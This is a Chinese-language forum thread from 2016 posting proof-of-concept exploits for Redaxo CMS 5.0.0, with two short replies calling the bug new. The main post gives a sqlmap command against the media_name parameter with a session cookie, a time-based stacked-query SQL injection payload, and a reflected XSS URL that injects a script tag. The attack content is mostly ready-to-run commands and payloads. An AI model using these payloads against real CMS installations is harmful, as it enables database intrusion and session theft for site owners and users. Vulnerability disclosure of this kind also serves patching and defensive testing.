请选择 进入手机版 | 继续访问电脑版
查看: 1737|回复: 2

Redaxo CMS跨站/注入漏洞

[复制链接]
  • TA的每日心情

    昨天 18:44
  • 签到天数: 927 天

    [LV.10]以坛为家III

    发表于 2016-2-17 09:15:33 | 显示全部楼层 |阅读模式
    version 5.0.0

    [PHP] 纯文本查看 复制代码
     
    POC:
    注入
    sqlmap -u "https://127.0.0.1/redaxo/index.php?page=mediapool%2fmedia&rex_file_category=0&media_name=blub&undefined=%0d" --cookie="PHPSESSID=h9s74l660iongtg71bpkjup0d1" -p media_name
    
    Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
    Payload: page=mediapool/media&rex_file_category=0&media_name=test');(SELECT * FROM (SELECT(SLEEP(5)))jbWV)#&undefined=
     
    XSS
    Authentication required: yes
    Used browser: FF42
    Example:
    [url]https://127.0.0.1/redaxo/index.php?page=mediapool/media&info=Datei+tot.[/url]<script>alert("xss");</script>&opener_input_field=
    
    回复

    使用道具 举报

  • TA的每日心情
    擦汗
    2018-10-3 15:06
  • 签到天数: 138 天

    [LV.7]常住居民III

    发表于 2016-2-17 18:02:02 | 显示全部楼层
    哎呦不错哦,好像还没有发的
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2017-9-13 00:40
  • 签到天数: 444 天

    [LV.9]以坛为家II

    发表于 2016-2-17 18:35:30 | 显示全部楼层
    这个真的是很新的BUG哦。。。
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表